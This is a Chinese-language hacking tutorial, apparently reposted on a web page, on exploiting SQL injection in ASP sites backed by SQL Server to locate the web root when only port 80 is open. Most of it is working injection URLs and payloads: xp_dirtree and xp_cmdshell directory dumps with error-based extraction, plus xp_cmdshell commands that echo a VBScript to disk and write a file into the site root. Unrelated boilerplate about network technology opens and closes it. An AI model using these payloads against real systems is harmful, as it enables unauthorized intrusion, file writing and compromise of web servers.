網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 如果網站只開了80端口,你會發現下面的方法是比較有用的 其中用的方法幾乎都不是我發現的,文總包括一些注入時的個人經驗和技巧 方法可以說有4種(現在已知的) 第一種方法: 這個是<<怪異的SQL注入>>中介紹的方法 利用sqlserver的xp_dirtree,好的我們先來將一下方法,然后再說其優劣處(在原文的基礎上作了點補充) 建立表 語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 返回:正常的信息!說明建表成功!繼續! (建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用 語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\' -- 返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了) 語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07 將 varchar 值 '@Inetpub'轉換為數據類型為 int 的列時發生語法錯誤。 再依次爆出表中的目錄名稱! 語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@Inetpub'))-- 返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07 將 varchar 值 'test'轉換為數據類型為 int 的列時發生語法錯誤。 再依次爆出表中的目錄名稱! 好我們繼續 語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@Inetpub','test'))-- 返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07 將 varchar 值 'haha'轉換為數據類型為 int 的列時發生語法錯誤。 再依次爆出表中的目錄名稱! 好了,你應該知道怎么做了吧,哈哈,就是把得到的表名添到那個括號里,有多少就放多少吧, 一點技巧: 有時候你會發現當輸入類似 http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 時不是顯示出錯,而是網頁顯示正常 暈了吧,別緊張哈 看看0<>(select top 1 paths from dirs) 說明返回是一個數字, 哈哈,測試一下看看是多少吧 100>(select top 1 paths from dirs) 返回正常 哈哈,用這種大于小于的方法很快就能猜出了 好我們繼續 比如當出現 59=(select top 1 paths from dirs) 返回正常, ok,說明名字是59 輸入如下 http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '59'))-- 記得帶上引號喲 下面的方法就和原來的一樣的了 還有一個問題就是 有時候用上面的方法輸入59時,發現下一次的文件夾還是59 這個是怎么回事情呢? 呵呵,不知道你有沒有注意過059和59是一樣的? 就是這個原因了,哈哈, http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '059'))-- 發現顯示下一個文件夾名字了,ok 優缺點分析: 優點就是所有的sqlserver用戶都可以使用,因為xp_dirtree適用權限PUBLIC, 缺點是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什么順序的,總之在好幾千好幾萬個文件夾里找你想要的文件夾是痛苦的. 而且你知道了有那個文件夾也不能保證在根目錄下,實在是痛苦的一件事情呀,很多時候是靠運氣和耐力. 祝你成功 方法二: 利用xp_cmdshell 哈哈,這個大家一定很熟悉了吧,我就簡單說一下 建立表 語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))-- 返回:正常的信息!說明建表成功!繼續! (建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用 語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' -- 返回:正常信息。說明寫入C盤的所有目錄成功了!這里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就試驗試驗看 語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)- 返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07 將 varchar 值 '@Inetpub'轉換為數據類型為 int 的列時發生語法錯誤。 再依次爆出表中的目錄名稱! 語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in( '@Inetpub'))-- 返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07 將 varchar 值 'test'轉換為數據類型為 int 的列時發生語法錯誤。 再依次爆出表中的目錄名稱! 方法同上,就不說了 有時候我們也可以用下面的兩個擴展來干些事情 1)我們可以利用xp_availablemedia來獲得當前所有驅動器,并存入dirs表中: 5 ;insert dirs exec master.dbo.xp_availablemedia;-- 我們可以通過查詢temp的內容來獲得驅動器列表及相關信息 (2)我們可以利用xp_subdirs獲得子目錄列表,并存入dirs表中: 5 ;insert into dirs exec master.dbo.xp_subdirs 'c:\' ;-- 優缺點分析: 很明顯了,這樣就不會出現xp_dirtree那種所有目錄都放在一起的情況了,只會顯示一級目錄,找起來方便多了. 缺點也很明顯,只有sa有這個權限,也有可能管理員刪除了這個擴展(畢竟太強大了). 方法三: 這種方法很好 下面這個是原文 想到了使用adsutil.vbs程序,我是這樣執行的 a‘;exec master..xp_cmdshell ‘cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt‘;-- 是不是很長啦通過它我們可以把iis里面第一個虛擬web站點的設置情況(當然包括它所在的實際目錄咯) 導入到a.txt中 對于a.txt的實際位置默認當然是c:\winnt\system32,其實這都不是問題,不過遇到管理員把adsutil.vbs 刪了或是放到別 的地方我們就沒辦法了(不可能自已用echo 命令寫一個吧) 第二步:用echo命令寫下面的代碼到c:\中,很多嗎也不算吧 .....xp_cmdshell ‘echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs‘;-- .....xp_cmdshell ‘echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs‘ ;-- ..... -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.CreateObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa & "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true) fil1.writeline "" ---------------cut here------------------------------------- 第三步:當然就是執行read.vbs三,這樣我們可以把aa.txt中的內容讀出來找到web站點的實際路徑 然后寫一個叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯 執行http://x.x.x.x/dd.asp 返回:\xxx 哈哈,的確是好方法, 不過原文好像有點問題 就是 set fil =fso1.opentextfile(spa %2B "\system32\aa.txt") set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true) 兩句提交時會出錯 于是我們想到了加號,和&的功能相同 還有就是寫點什么東西到dd.asp呢?寫入pa,哈哈 哈哈,改成了 -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.CreateObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa + "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa + "\dd.asp",2,true) fil1.writeline pa ---------------cut here-------------------------------------- 因為用瀏覽器提交時+號被轉換成了空格,所以在提交的時候還應該把 +變成%2B,好了,應該可以了,如下 -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.CreateObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa %2B "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true) fil1.writeline pa ---------------cut here-------------------------------------- 如果發現1沒有的話,我們可以該成2,3,4........... a‘;exec master..xp_cmdshell ‘cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt‘;-- 但是這種方法只能在windows2000下使用,因為2003下新建的網站所在地址不是按照1234來排列的,好像是隨機生成的,個人比較過幾個2003下的 地址,沒有發現什么規律. 優缺點分析 同上xp_cmdshell不是每一個用戶都可以用的!還有一個問題是adsutil文件不一定存在,或者不一定在那個路徑上,當然如果你原意的話你可以用 echo寫一個(哈哈,老多老多行的喲),另外的一個問題是,如果主機上有很多站點怎么辦?我遇到過一個有九個站點的主機,膽識只有第8個是有用的,暈了吧,很難有人有嗯那個耐性會堅持到那么多的,早就崩潰了或許.還有就是不能在2003下用! 不過說實話,這個方法的確是一個好方法 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!